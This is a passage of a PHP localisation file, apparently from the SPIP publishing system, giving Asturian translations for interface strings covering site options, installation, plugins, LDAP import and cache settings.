'info_nb_sites' => '@nb@ sitios',
'info_nb_visiteurs' => '@nb@ visitantes',
'info_nom' => 'Nome',
'info_nom_destinataire' => 'Nome del destinatariu',
'info_nom_site' => 'Nome del to sitiu',
'info_nombre_articles' => '@nb_articles@ artículos,',
'info_nombre_partcipants' => 'PARTICIPANTES NEL DISCUTINIU:',
'info_nombre_rubriques' => '@nb_rubriques@ estayes,',
'info_nombre_sites' => '@nb_sites@ sitios web,',
'info_non_deplacer' => 'Nun desplazar...',
'info_non_envoi_annonce_dernieres_nouveautes' => 'SPIP pue unviar, regularmente, l’anunciu de les caberes novedaes del sitiu
(artículos y breves espublizaos apocayá).',
'info_non_envoi_liste_nouveautes' => 'Nun mandar la llista de les novedáes',
'info_non_modifiable' => 'nun pue camudase',
'info_non_suppression_mot_cle' => 'nun quiero desaniciar esta pallabra-clave.',
'info_note_numero' => 'Nota @numero@',
'info_notes' => 'Notes',
'info_nouveaux_message' => 'Mensaxes nuevos',
'info_nouvel_article' => 'Artículu nuevu',
'info_nouvelle_traduction' => 'Traducción nueva:',
'info_numero_article' => 'ARTÍCULU NÚMBERU:',
'info_obligatoire_02' => '[Obligatorio]', # MODIF
'info_option_accepter_visiteurs' => 'Aceptar la inscripción de visitantes del sitiu públicu',
'info_option_faire_suivre' => 'Unvia-yos copia de los mensaxes de los foros a los autores de los artículos',
'info_option_ne_pas_accepter_visiteurs' => 'Refugar la inscripción de los visitantes',
'info_options_avancees' => 'OPCIONES AVANZÁES',
'info_ortho_activer' => 'Activar el correutor ortográficu',
'info_ortho_desactiver' => 'Desactivar el correutor ortográficu',
'info_ou' => 'o...',
'info_page_interdite' => 'Páxina torgada',
'info_par_nom' => 'pol nome',
'info_par_nombre_article' => 'pol númberu d’artículos',
'info_par_statut' => 'pol cargu',
'info_par_tri' => '’(por @tri@)’',
'info_passe_trop_court' => 'La contraseña ye mui curtia.',
'info_passes_identiques' => 'Les dos contraseñes nun concasen.',
'info_pense_bete_ancien' => 'Recordatorios antiguos',
'info_plus_cinq_car' => 'más de 5 carauteres',
'info_plus_cinq_car_2' => '(Más de 5 carauteres)',
'info_plus_trois_car' => '(Más de 3 carauteres)',
'info_popularite' => 'popularidá: @popularite@; visites: @visites@',
'info_popularite_4' => 'popularidá: @popularite@; visites : @visites@',
'info_post_scriptum' => 'Post Scríptum',
'info_post_scriptum_2' => 'Post Scríptum:',
'info_pour' => 'pa',
'info_preview_admin' => 'Namái los alministradores puen previsualizar el sitiu',
'info_preview_comite' => 'Tolos redactores puen previsualizar el sitiu',
'info_preview_desactive' => 'La previsualización ta desactivada dafechu',
'info_preview_texte' => 'Ye posible previsualizar el sitiu como si tolos artículos y les breves (que tengan polo menos l’estatutu «propuestu») tuvieren espublizaos. ¿Esta posibilidá tien que tar abierta pa los alministradores namái, pa tolos redactores, o pa naide?',
'info_principaux_correspondants' => 'Principales intercambéos de mensaxes',
'info_procedez_par_etape' => 'sigue pasu ente pasu',
'info_procedure_maj_version' => 'hai que llanzar el procesu d’actualización a la fin d’adautar
la base de datos a la nueva versión de SPIP.',
'info_proxy_ok' => 'Preba del proxy superada.',
'info_ps' => 'P.-S.',
'info_publier' => 'espublizar',
'info_publies' => 'Los tos artículos espublizáos en llinia',
'info_question_accepter_visiteurs' => 'Si les cadarmes d’esti sitiu prevén el rexistru de visitantes ensin accesu a l’espaciu priváu, has d’activar la opción d’embaxo:',
'info_question_inscription_nouveaux_redacteurs' => '¿Aceutes les inscripciones de nuevos redactores dende’l
sitiu públicu? Si aceutes, los visitantes podrán inscribise
dende un formulariu automatizáu y tendrán accesu a l’espaciu priváu pa
proponer artículos propios. <blockquote><i>Tres de la fase d’inscripción,
los usuarios reciben un corréu electrónicu automáticu
que-yos da los códigos d’accesu al sitiu priváu. Dellos
agospiadores desactiven l’unvíu d’e-mails dende los sos
sirvidores: nesti casu, la inscripción automática ye
imposible.</i></blockquote>', # MODIF
'info_question_utilisation_moteur_recherche' => '¿Quies utilizar el motor de restolar integráu con SPIP?
(desactivalu acelera el funcionamientu del sistema.)',
'info_question_vignettes_referer_non' => 'Nun amosar les captures de los sitios d’orixe de les visites',
'info_qui_edite' => '@nom_auteur_modif@ a travaillé sur ce contenu il y a @date_diff@ minutes', # MODIF
'info_racine_site' => 'Raiz del sitiu',
'info_recharger_page' => 'Ties que recargar esta páxina nunos instantes.',
'info_recherche_auteur_a_affiner' => 'Hai resultaos asgaya pa "@cherche_auteur@", apurre más criterios a la gueta.',
'info_recherche_auteur_ok' => 'Atopáronse dellos autores pa "@cherche_auteur@":',
'info_recherche_auteur_zero' => 'Nun hai resultaos pa «@cherche_auteur@».',
'info_recommencer' => 'Vuelve a entamar',
'info_redacteur_1' => 'Redactor',
'info_redacteur_2' => 'con accesu a l’espaciu priváu (<i>encamentao</i>)',
'info_redacteurs' => 'Redactores',
'info_redaction_en_cours' => 'EN CURSU DE REDAICIÓN',
'info_redirection' => 'Redireición',
'info_refuses' => 'Los tos artículos refugáos',
'info_reglage_ldap' => 'Opciones: <b>Axuste de la importación LDAP</b>',
'info_renvoi_article' => '<b>Redireición.</b> Esti artículu reunvía a la páxina:',
'info_reserve_admin' => 'Namái los alministradores puen camudar estes señes.',
'info_restreindre_rubrique' => 'Llendar la xestión a la estaya:',
'info_resultat_recherche' => 'Resultaos de la gueta:',
'info_rubriques' => 'Estayes',
'info_rubriques_02' => 'estayes',
'info_rubriques_trouvees' => 'Estayes alcontráes',
'info_rubriques_trouvees_dans_texte' => 'Estayes alcontráes (nel testu)',
'info_sans_titre' => 'Ensin títulu',
'info_selection_chemin_acces' => '<b>Seleiciona</b> de siguío el camín d’accesu a la guía:',
'info_signatures' => 'robles',
'info_site' => 'Sitiu',
'info_site_2' => 'sitiu:',
'info_site_min' => 'sitiu Web',
'info_site_reference_2' => 'Sitiu referenciau',
'info_site_web' => 'SITIU WEB:', # MODIF
'info_sites' => 'sitios',
'info_sites_lies_mot' => 'Los sitios referenciaos enllazaos con esta pallabra-clave',
'info_sites_proxy' => 'Utilizar un proxy',
'info_sites_trouves' => 'Sitios alcontraos',
'info_sites_trouves_dans_texte' => 'Sitios alcontraos (nel testu)',
'info_sous_titre' => 'Subtítulu:',
'info_statut_administrateur' => 'Alministrador',
'info_statut_auteur' => 'Estatutu d’esti autor:',
'info_statut_auteur_a_confirmer' => 'Inscripción por confirmar',
'info_statut_auteur_autre' => 'Otru estatutu:',
'info_statut_efface' => 'Esborráu',
'info_statut_redacteur' => 'Redactor',
'info_statut_utilisateurs_1' => 'Estatutu por omisión de los usuarios importaos',
'info_statut_utilisateurs_2' => 'Escueye l’estatutu que se-yos da a les persones presentes na guía LDAP cuando se conecten la primera vegada. Lluéu podrás camudar esti valor pa caún de los autores casu per casu.',
'info_suivi_activite' => 'Siguimientu de l’actividá editorial',
'info_surtitre' => 'Antetítulu:',
'info_syndication_integrale_1' => 'Esti sitiu ufre archivos de sindicación (ver «<a href="@url@">@titre@</a>»).',
'info_syndication_integrale_2' => '¿Quies tresmitir los artículos ensembre, o nun esparder nás que un resume con dellos cientos de carauteres?',
'info_table_prefix' => 'Pues cambear el prefixu del nome de les tables de datos (esto ye necesario dafechu si se quier instalar dellos sitios na mesma base de datos). Esti prefixu escríbese en lletres minúscules, ensin acentos, y ensin espacios.',
'info_taille_maximale_images' => 'SPIP va comprebar el tamañu másimu de les imaxes que pue remanar (en millones de pixels).<br /> Les imaxes más grandes nun van reducise.',
'info_taille_maximale_vignette' => 'Tamañu másimu de les viñetes xeneráes pol sistema:',
'info_terminer_installation' => 'Agora pues finar el procesu d’instalación estándar.',
'info_texte' => 'Testu',
'info_texte_explicatif' => 'Testu explicativu',
'info_texte_long' => '(el testu ye llargu: poro apaez en delles partes que volverán a amestase tres de la validación.)',
'info_texte_message' => 'Testu del to mensaxe:', # MODIF
'info_texte_message_02' => 'Testu del mensaxe',
'info_titre' => 'Títulu:',
'info_total' => 'total:',
'info_tous_articles_en_redaction' => 'Tolos artículos en cursu de redaición',
'info_tous_articles_presents' => 'Tolos artículos espublizaos nesta estaya',
'info_tous_articles_refuses' => 'Tolos artículos refugaos',
'info_tous_les' => 'tolos:',
'info_tous_redacteurs' => 'Anuncios pa tolos redactores',
'info_tout_site' => 'Tou el sitiu',
'info_tout_site2' => 'L’artículu nun ta traducíu a esta llingua.',
'info_tout_site3' => 'L’artículu ta traducíu a esta llingua, pero después amestáronse modificaciones a l’artículu de referencia. La traducción tien que ponese al día.',
'info_tout_site4' => 'L’artículu ta traducíu a esta llingua, y la traducción ta actualizada.',
'info_tout_site5' => 'Artículu orixinal.',
'info_tout_site6' => '<b>Atención :</b> sólo se amuesen los artículos orixinales.
Les traducciones asociense col orixinal,
con una color que indica el estáu:',
'info_travail_colaboratif' => 'Trabayu en comuña nos artículos',
'info_un_article' => 'un artículu,',
'info_un_site' => 'un sitiu web,',
'info_une_rubrique' => 'una estaya,',
'info_une_rubrique_02' => '1 estaya',
'info_url' => 'URL:',
'info_url_proxy' => 'URL del proxy',
'info_url_site' => 'URL del sitiu:',
'info_url_test_proxy' => 'URL de pruebes',
'info_urlref' => 'Enllace d’hipertestu:',
'info_utilisation_spip' => 'Agora puedes entamar a utilizar el sistema d’espublizamientu asistíu...',
'info_visites_par_mois' => 'Amosar por meses:',
'info_visiteur_1' => 'Visitante',
'info_visiteur_2' => 'del sitiu públicu',
'info_visiteurs' => 'Visitantes',
'info_visiteurs_02' => 'Visitantes del sitiu públicu',
'info_webmestre_forces' => 'Los webmasters anguaño tan conseñaos en <tt>@file_options@</tt>.',
'install_adresse_base_hebergeur' => 'Direición de la base datos asitiada pol agospiador web',
'install_base_ok' => 'Reconocióse la base @base@',
'install_echec_annonce' => 'La instalación probablemente va fallar, o va producir un sitiu que nun funcione...',
'install_extension_mbstring' => 'SPIP nun funciona con:',
'install_extension_php_obligatoire' => 'SPIP esixe la estensión php:',
'install_login_base_hebergeur' => 'Login de conexón conseñáu pol agospiador',
'install_nom_base_hebergeur' => 'Nome de la base conseñáu pol agospiador:',
'install_pas_table' => 'La base nun tien tables actualmente',
'install_pass_base_hebergeur' => 'Contraseña de conexón conseñada pol agospiador',
'install_php_version' => 'PHP versión @version@ nun ye suficiente (minimo= @minimum@)',
'install_select_langue' => 'Escueye una llíngua y calca nel botón «siguiente» pa llanzar el procesu d’instalación.',
'install_select_type_db' => 'Indicar el tipu de base de datos:',
'install_select_type_mysql' => 'MySQL',
'install_select_type_pg' => 'PostgreSQL',
'install_select_type_sqlite2' => 'SQLite 2',
'install_select_type_sqlite3' => 'SQLite 3',
'install_serveur_hebergeur' => 'Sirvidor de base de datos conseñáu pol agospiador web',
'install_table_prefix_hebergeur' => 'Prefixu de tabla conseñáu pol agospiamientu:',
'install_tables_base' => 'Tables de la base',
'install_types_db_connus' => 'SPIP sabe utilizar <b>MySQL</b> (la más estendida), <b>PostgreSQL</b> y <b>SQLite</b>.', # MODIF
'install_types_db_connus_avertissement' => 'Atención: hai dellos plugins que nun funcionen más que con MySQL', # MODIF
'intem_redacteur' => 'redactor',
'intitule_licence' => 'Llicencia',
'item_accepter_inscriptions' => 'Aceptar les inscripciones',
'item_activer_messages_avertissement' => 'Activar los mensaxes d’avisu',
'item_administrateur_2' => 'alministrador',
'item_afficher_calendrier' => 'Amosar na axenda',
'item_autoriser_documents_joints' => 'Autorizar los documentos axuntos nos artículos',
'item_autoriser_documents_joints_rubriques' => 'Autorizar los documentos nes estayes',
'item_autoriser_syndication_integrale' => 'Difundir los artículos completos en los archivos de sindicación',
'item_choix_administrateurs' => 'los alministradores',
'item_choix_generation_miniature' => 'Xenerar automáticamente les imáxenes amenorgáes.',
'item_choix_non_generation_miniature' => 'Nun xenerar imáxenes amenorgáes.',
'item_choix_redacteurs' => 'los redactores',
'item_choix_visiteurs' => 'los visitantes del sitiu públicu',
'item_creer_fichiers_authent' => 'Crear los archivos .htpasswd',
'item_limiter_recherche' => 'Llendar la gueta a les informaciones conteníes nesti sitiu',
'item_login' => 'Login',
'item_messagerie_agenda' => 'Activar la mensaxería y l’axenda',
'item_mots_cles_association_articles' => 'a los artículos',
'item_mots_cles_association_rubriques' => 'a les estayes',
'item_mots_cles_association_sites' => 'a los sitios referenciaos o sindicaos.',
'item_non' => 'Non',
'item_non_accepter_inscriptions' => 'Nun aceutar les inscripciones',
'item_non_activer_messages_avertissement' => 'Ensin mensaxes d’avisu',
'item_non_afficher_calendrier' => 'Nun amosar nel calendariu',
'item_non_autoriser_documents_joints' => 'Nun autorizar los documentos nos artículos',
'item_non_autoriser_documents_joints_rubriques' => 'Nun autorizar los documentos nes estayes',
'item_non_autoriser_syndication_integrale' => 'Nun esparder más que un resume',
'item_non_compresseur' => 'Desactivar la compresión',
'item_non_creer_fichiers_authent' => 'Nun crear estos archivos',
'item_non_gerer_statistiques' => 'Nun xestionar les estadístiques',
'item_non_limiter_recherche' => 'Estender la gueta al conteníu de los sitios referenciaos',
'item_non_messagerie_agenda' => 'Desactivar la mensaxeria y l’axenda',
'item_non_publier_articles' => 'Nun espublizar los artículos enantes de la fecha d’espublizamientu conseñada.',
'item_non_utiliser_moteur_recherche' => 'Nun utilizar el motor',
'item_nouvel_auteur' => 'Autor nuevu',
'item_nouvelle_rubrique' => 'Estaya nueva',
'item_oui' => 'Sí',
'item_publier_articles' => 'Espublizar los artículos, cualquiera que sea la fecha d’espublizamientu.',
'item_reponse_article' => 'Respuesta a l’artículu',
'item_utiliser_moteur_recherche' => 'Utilizar el motor de gueta',
'item_version_html_max_html4' => 'Llendar a HTML4 nel sitiu públicu',
'item_version_html_max_html5' => 'Permitir el HTML5',
'item_visiteur' => 'visitante',
// J
'jour_non_connu_nc' => 'n.c.',
// L
'label_bando_outils' => 'Barra de ferramientes',
'label_bando_outils_afficher' => 'Amosar les ferramientes',
'label_bando_outils_masquer' => 'Anubrir les ferramientes',
'label_choix_langue' => 'Escueye la to llingua',
'label_slogan_site' => 'Eslogan del sitiu',
'label_taille_ecran' => 'Tamañu de la pantalla',
'label_texte_et_icones_navigation' => 'Menú de navegación',
'label_texte_et_icones_page' => 'Presentación na páxina',
'ldap_correspondance' => 'herencia del campu @champ@',
'ldap_correspondance_1' => 'Herencia de campos LDAP',
'ldap_correspondance_2' => 'Pa caún de los campos SPIP siguientes, conseñar el nome del campu LDAP correspondiente. Dexar balero pa nun llenalu, separtar con espacios o comes pa tentar dellos campos LDAP.',
'lien_ajout_destinataire' => 'Amestar esti destinatariu',
'lien_ajouter_auteur' => 'Amestar esti autor',
'lien_ajouter_participant' => 'Amestar un participante',
'lien_email' => 'email',
'lien_nom_site' => 'NOME DEL SITIU:',
'lien_retirer_auteur' => 'Retirar l’autor',
'lien_retirer_tous_auteurs' => 'Retirar tolos autores',
'lien_retrait_particpant' => 'retirar esti participante',
'lien_site' => 'sitiu',
'lien_supprimer_rubrique' => 'desaniciar esta estaya',
'lien_tout_deplier' => 'Desplegalo too',
'lien_tout_replier' => 'Replegalo too',
'lien_tout_supprimer' => 'Desanicialo too',
'lien_trier_nom' => 'Ordenar pol nome',
'lien_trier_nombre_articles' => 'Ordenar pol númberu d’artículos',
'lien_trier_statut' => 'Ordenar pol estau',
'lien_voir_en_ligne' => 'VER EN LLINIA:',
'logo_article' => 'LOGO DE L’ARTÍCULU', # MODIF
'logo_auteur' => 'LOGO DE L’AUTOR O AUTORA', # MODIF
'logo_rubrique' => 'LOGO DE LA ESTAYA', # MODIF
'logo_site' => 'LOGO D’ESTI SITIU', # MODIF
'logo_standard_rubrique' => 'LOGO ESTÁNDAR DE LES ESTAYES', # MODIF
'logo_survol' => 'LOGO AL PASAR EL MUR', # MODIF
// M
'menu_aide_installation_choix_base' => 'Escoyeta de la base',
'module_fichier_langue' => 'Ficheru de llíngua',
'module_raccourci' => 'Atayu',
'module_texte_affiche' => 'Testu amosau',
'module_texte_explicatif' => 'Pues amestar los siguientes atayos nes cadarmes del sitiu públicu. Estos van traducise automáticamente a les diferentes llingües pa les qu’esista un archivu de llingua.',
'module_texte_traduction' => 'L’archivu de llingua « @module@ » ta disponible en:',
'mois_non_connu' => 'desconocíu',
// N
'nouvelle_version_spip' => 'Ta disponible la versión @version@ de SPIP',
// O
'onglet_contenu' => 'Conteníu',
'onglet_declarer_une_autre_base' => 'Declarar otra base',
'onglet_discuter' => 'Discutiniu',
'onglet_documents' => 'Documentos',
'onglet_interactivite' => 'Interactividá',
'onglet_proprietes' => 'Propiedáes',
'onglet_repartition_actuelle' => 'actualmente',
'onglet_sous_rubriques' => 'So-estayes',
// P
'page_pas_proxy' => 'Esta páxina nun debe pasar pol proxy',
'pas_de_proxy_pour' => 'Si fai falta, indica les máquines o dominios pa los que esti proxy nun debe aplicase (por exemplu: @exemple@)',
'plugin_charge_paquet' => 'Carga del paquete @name@',
'plugin_charger' => 'Descargar',
'plugin_erreur_charger' => 'fallu: nun ye posible cargar @zip@',
'plugin_erreur_droit1' => 'El direutoriu <code>@dest@</code> nun ye accesible pa escritura.',
'plugin_erreur_droit2' => 'Verifica los permisos d’esti direutoriu (o créalu si ye’l casu), o instala los archivos per FTP.',
'plugin_erreur_zip' => 'falló pclzip col mensaxe: @status@',
'plugin_etat_developpement' => 'en desarrollu',
'plugin_etat_experimental' => 'esperimental',
'plugin_etat_stable' => 'estable',
'plugin_etat_test' => 'en prebes',
'plugin_impossible_activer' => 'Nun ye posible activar el plugin @plugin@',
'plugin_info_automatique1' => 'Si se quier autorizar la instalación automática de los plugins, hai que:',
'plugin_info_automatique1_lib' => 'Si quies autorizar la instalación automática d’esta biblioteca, necesites:',
'plugin_info_automatique2' => 'crear un direutoriu <code>@rep@</code> ;',
'plugin_info_automatique3' => 'verificar que’l sirvidor tenga permisos pa escribir nesi direutoriu.',
'plugin_info_automatique_creer' => 'que hai que crear na raiz del sitiu.',
'plugin_info_automatique_exemples' => 'exemplos:',
'plugin_info_automatique_ftp' => 'Puedes instalar plugins, per FTP, nel direutoriu <tt>@rep@</tt>',
'plugin_info_automatique_lib' => 'Dellos plugins necesiten también permisu pa descargar archivos nel direutoriu <code>lib/</code>, a crear si ye’l casu na raiz del sitiu.',
'plugin_info_automatique_liste' => 'Les tos llistes de plugins:',
'plugin_info_automatique_liste_officielle' => 'los plugins oficiales',
'plugin_info_automatique_liste_update' => 'Actualizar les llistes',
'plugin_info_automatique_ou' => 'o...',
'plugin_info_automatique_select' => 'Seleiciona un plugin d’embaxo: SPIP va descargalu y anicialu nel direutoriu <code>@rep@</code> ; si el plugin ya esiste, pondrase al día.',
'plugin_info_plugins_dist_1' => 'Les estensiones darréu se carguen y s’activen nel direutoriu @plugins_dist@.', # MODIF
'plugin_info_plugins_dist_2' => 'Estes nun pueden desactivase.', # MODIF
'plugin_info_telecharger' => 'a descargar de @url@ y a instalar en @rep@',
'plugin_librairies_installees' => 'Llibreríes instaláes',
'plugin_necessite_lib' => 'Esti plugin necesita la llibrería @lib@',
'plugin_necessite_plugin' => 'Necesita el plugin @plugin@ en versión @version@ mínimo.',
'plugin_necessite_spip' => 'Necesita SPIP en versión @version@ mínimo.',
'plugin_source' => 'fonte: ',
'plugin_titre_automatique' => 'Instalación automática',
'plugin_titre_automatique_ajouter' => 'Amestar plugins',
'plugin_titre_installation' => 'Instalación del complementu @plugin@',
'plugin_zip_active' => 'Continúa pa activalu',
'plugin_zip_adresse' => 'indica embaxo les señes d’un archivu zip de plugin a descargar, o mesmo les señes d’una llista de plugins.',
'plugin_zip_adresse_champ' => 'Señes del plugin o de la llista ',
'plugin_zip_content' => 'Contien los archivos siguientes (@taille@),<br />preparaos pa instalase nel direutoriu <code>@rep@</code>',
'plugin_zip_installe_finie' => 'L’archivu @zip@ descomprimiose y quedó instalau.',
'plugin_zip_installe_rep_finie' => 'L’archivu @zip@ descomprimiose y quedó instalau nel direutoriu @rep@',
'plugin_zip_installer' => 'Pues instalalu agora.',
'plugin_zip_telecharge' => 'Descargose l’archivu @zip@',
'plugins_actif_aucun' => 'Dengún complementu activáu.',
'plugins_actif_un' => 'Un complementu activáu.',
'plugins_actifs' => '@count@ plugins activaos.',
'plugins_actifs_liste' => 'Complementos activos', # MODIF
'plugins_compte' => '@count@ plugins',
'plugins_disponible_un' => 'Un complementu disponible.',
'plugins_disponibles' => '@count@ plugins disponibles.',
'plugins_erreur' => 'Error nos plugins: @plugins@',
'plugins_liste' => 'Llista de los plugins',
'plugins_liste_dist' => 'Estensiones', # MODIF
'plugins_recents' => 'Complementos recientes.',
'plugins_vue_hierarchie' => 'Xerarquía',
'plugins_vue_liste' => 'Llista',
'protocole_ldap' => 'Versión del protocolu:',
// R
'repertoire_plugins' => 'Direutoriu:',
// S
'sans_heure' => 'ensin hora',
'statut_admin_restreint' => '(almin llendau)', # MODIF
// T
'taille_cache_image' => 'Les imaxes calculáes automáticamente por SPIP (miniatures de documentos, títulos en formatu gráficu, funciones matemátiques en formatu TeX...) ocupen nel direutoriu @dir@ un total de @taille@.',
'taille_cache_infinie' => 'Esti sitiu nun conseña llendes de tamañu pal direutoriu de caché.',
'taille_cache_maxi' => 'SPIP tenta llendar el tamañu del direutoriu de caché d’esti sitiu a unos <b>@octets@</b> de datos.',
'taille_cache_octets' => 'El tamañu de caché actualmente ye de @octets@.', # MODIF
'taille_cache_vide' => 'La caché ta vacía.',
'taille_repertoire_cache' => 'Tamañu del direutoriu de caché',
'text_article_propose_publication' => 'Artículu propuestu pa espublizase.',
'texte_acces_ldap_anonyme_1' => 'Dellos sirvidores LDAP nun acepten los accesos anónimos. Si esti ye’l casu hai que especificar una identificación d’accesu inicial a la fin de poder lluéu restolar la información na guía. Sicasí, nos más de los casos, los campos siguientes puen dexase vacíos.',
'texte_admin_effacer_01' => 'Esta orde desanicia <i>tol</i> conteníu de la base de datos,
incluyíos <i>tolos</i> accesos de redactores y alministradores. Tres d’executalu, vas tener que llanzar la
reinstalación de SPIP pa crear una nueva base igual que un primer accesu d’alministrador.',
'texte_adresse_annuaire_1' => '(Si la guía ta instalada na mesma máquina que esti sitiu Web, ye probablemente «localhost».)',
'texte_ajout_auteur' => 'El siguiente autor amestose a l’artículu:',
'texte_annuaire_ldap_1' => 'Si ties accesu a una guía (LDAP), vas poder utilizala pa importar automáticamente usuarios a SPIP.',
'texte_article_statut' => 'Esti artículu ta:',
'texte_article_virtuel' => 'Artículu virtual',
'texte_article_virtuel_reference' => '<b>Artículu virtual:</b> artículu referenciau nel sitiu SPIP, magar que redirixe a otra URL. Pa desaniciar la redireición, esborra la URL d’enriba.',
'texte_aucun_resultat_auteur' => 'Nun hai resultaos pa "@cherche_auteur@"',
'texte_auteur_messagerie' => 'Esti sitiu pue amosate de mou permanente la llista de redactores coneutaos, lo que te permite intercambiar mensaxes en direutu. Pues decidir nun apaecer nesa llista (ser «invisible» pa los demás usuarios).',
'texte_auteur_messagerie_1' => 'Esti sitiu permite l’intercambiu de mensaxes y la constitución de foros de discutiniu privaos ente los participantes del sitiu. Pue decidir nun participar nos intercambios.',
'texte_auteurs' => 'LOS AUTORES',
'texte_choix_base_1' => 'Escueye la base de datos:',
'texte_choix_base_2' => 'El sirvidor SQL contién delles bases de datos.',
'texte_choix_base_3' => '<b>Seleiciona</b> de siguío la que te conseñaren nel agospiamientu:',
'texte_choix_table_prefix' => 'Prefixu de les tables:',
'texte_commande_vider_tables_indexation' => 'Utiliza esta orde a la fin de vaciar les tables d’indexación utilizáes
pol motor de guetar integráu con SPIP. Esto va permitite
ganar espaciu nel discu.',
'texte_compatibilite_html' => 'Puedes pidi-y a SPIP que produza, nel sitiu públicu, códigu compatible cola norma <i>HTML4</i>, o permiti-y utilizar les posibilidaes más modernes del <i>HTML5</i>.',
'texte_compatibilite_html_attention' => 'Nun hai dengún peligru por activar la opción <i>HTML5</i>, pero si lo faes, les páxines del to sitiu tendrán d’entamar cola cita darréu pa ser válidos: <code><!DOCTYPE html></code>.',
'texte_compresse_ou_non' => '(esti pue tar comprimíu o non)',
'texte_compte_element' => '@count@ elementu',
'texte_compte_elements' => '@count@ elementos',
'texte_conflit_edition_correction' => 'Compreba embaxo les diferencies ente les dos versiones del testu; también pues copiar los tos cambéos y, de siguío, volver a entamar',
'texte_connexion_mysql' => 'Consulta la información que te dieren nel to agospiamientu web: ties que atopar el sirvidor de base datos que te ufre y los códigos de identificación pa conectate.',
'texte_contenu_article' => '(Conteníu de l’artículu en delles pallabres.)',
'texte_contenu_articles' => 'Según la maquetación que uses pal to sitiu, seique decidas
que dellos elementos de los artículos nun van utilizase.
Usa la llista d’embaxo pa indicar los elementos que van tar disponibles.',
'texte_crash_base' => 'Si la to base de datos ta
caída, pues tentar una reparación
automática.',
'texte_creer_rubrique' => 'Enantes que puedas escribir artículos,<br /> tienes que crear una estaya.',
'texte_date_creation_article' => 'FECHA DE CREACIÓN DE L’ARTÍCULU:',
'texte_date_publication_anterieure' => 'Fecha de redaición anterior:',
'texte_date_publication_anterieure_nonaffichee' => 'Nun amosar fecha de redaición anterior.',
'texte_date_publication_article' => 'FECHA D’ESPUBLIZAMIENTU EN LLINIA:',
'texte_descriptif_petition' => 'Descripción de la solicitú',
'texte_descriptif_rapide' => 'Descripción rápida',
'texte_effacer_base' => 'Desaniciar la base de datos SPIP',
'texte_effacer_donnees_indexation' => 'Desaniciar los datos d’indexación',
'texte_effacer_statistiques' => 'Desaniciar les estadístiques',
'texte_en_cours_validation' => 'Los artículos y breves d’embaxo tan propuestos pa espublizase.', # MODIF
'texte_enrichir_mise_a_jour' => 'Pues arriquecer la paxinación del testu utilizando los «atayos tipográficos».',
'texte_fichier_authent' => '<b>¿Tien SPIP que crear los ficheros especiales <tt>.htpasswd</tt>
y <tt>.htpasswd-admin</tt> na carpeta @dossier@?</b><p>
Estos ficheros pueden sirvite pa torgar l’accesu, tanto de los autores
como de los alministradores a otres partes del to sitiu web
(al programa esternu d’estadístiques, por exemplu).</p><p>
Si nun vas utilizalo, puedes dexar esta opción
col so valor predetermináu (nun crear
esos ficheros).</p>', # MODIF
'texte_informations_personnelles_1' => 'Agora el sistema va create un accesu personalizáu al sitiu.',
'texte_informations_personnelles_2' => '(Nota: si esto ye una reinstalación, y el to accesu siempre funciona, pues', # MODIF
'texte_introductif_article' => '(Testu d’introducción de l’artículu.)',
'texte_jeu_caractere' => 'Encamiéntase emplegar, pal to sitiu, l’alfabetu universal (<tt>utf-8</tt>): esti permite amosar los testos en toes les llingües, y ya nun da problemes de compatibilidá colos ñavegadores modernos.',
'texte_jeu_caractere_2' => 'Atención: esti axuste nun provoca la conversión de los testos que ya tean grabaos na base de datos.',
'texte_jeu_caractere_3' => 'Esti sitiu ta instaláu actualmente col xuegu de carauteres:',
'texte_jeu_caractere_4' => 'Si esto nun concasa cola realidá de los datos (siguir, por exemplu, tres d’una restauración de la base de datos), o si <em>tas arrancando esti sitiu</em> y quies entamar con otru xuegu de carauteres, conseña esti darréu:',
'texte_jeu_caractere_conversion' => 'Nota: pues querer convertir d’una vez por toes el conxuntu de testos d’esti sitiu (artículos, breves, foros, etc.) a l’alfabetu <tt>utf-8</tt>, entrando na <a href="@url@">páxina de conversión a l’utf-8</a>.',
'texte_lien_hypertexte' => '(Si el to mensaxe refierse a un artículu espublizáu na Web, o a una páxina que ufre más información, indica de siguío el títulu de la páxina y les señes URL.)',
'texte_login_ldap_1' => '(Dexar vacío pa un accesu anónimu, o conseñar el camín ensembre, por exemplu «<tt>uid=dupont, ou=users, dc=mio-dominiu, dc=com</tt> ».)',
'texte_login_precaution' => '¡Atención! Esti ye l’usuariu col que tas coneutau actualmente.
Utiliza esti formulariu con procuru...',
'texte_message_edit' => 'Atención: esti mensaxe pue camudase por tolos alministradores del sitiu, y ye visible pa tolos redactores. Nun uses les anuncies más que pa amosar les actividáes importantes pa la vida del sitiu.',
'texte_messagerie_agenda' => 'Una mensaxería permite-yos a los redactores del sitiu comunicase direutamente ente ellos nel espaciu privau del sitiu. La mensaxería va asociada con una axenda.',
'texte_mise_a_niveau_base_1' => 'Tas acabante de poner al día los archivos de SPIP.
Agora fai falta actualizar la base de datos
del sitiu.',
'texte_modifier_article' => 'Iguar l’artículu:',
'texte_moteur_recherche_active' => '<b>El motor de restolar ta activáu.</b> Utiliza esta orde
si quies entamar una reindexación rápida (tres la restauración d’una
copia de seguridá por exemplu). Atalanta que los documentos modificaos
de mou normal (dende la interfaz SPIP) reindexense automáticamente:
esta orde, poro, nun ye afayadiza sinon de mou esceicional.',
'texte_moteur_recherche_non_active' => 'El motor de restolar nun ta activáu.',
'texte_multilinguisme' => 'Si quiés xuestionar artículos en delles llingües, con una ñavegación complexa, pues amestar un menú de seleición de llingua nos articulos y/o nes estayes, al aldu de la organización del sitiu.', # MODIF
'texte_multilinguisme_trad' => 'Igualmente pues activar un sistema de xestión de enllaces ente les distintes traducciones d’un artículu.', # MODIF
'texte_non_compresse' => '<i>non comprimíu</i> (el to sirvidor nun soporta esta carauterística)',
'texte_nouveau_message' => 'Mensaxe nuevu',
'texte_nouvelle_version_spip_1' => 'Vienes d’instalar una versión nueva de SPIP.',
'texte_nouvelle_version_spip_2' => 'Esta nueva versión necesita una actualización más completa que la de vezu. Si yes el webmaster del sitiu, tienes de desaniciar el ficheru @connect@ y siguir cola instalación p’anovar los parámetros de conexón cola base de datos.<p> (NB.: si escaecisti los tos parámetros de conexón, echa-y una güeyada al ficheru @connect@ enantes de desanicialu...)</p>',
'texte_operation_echec' => 'Torna a la páxina precedente, seleiciona otra base o crea una nueva. Compreba la información ufrida pol to agospiamientu web.',
'texte_plus_trois_car' => 'más de 3 carauteres',
'texte_plusieurs_articles' => 'Alcontráronse dellos autores pa "@cherche_auteur@":',
'texte_port_annuaire' => '(El valor indicáu por omisión convién polo xeneral.)',
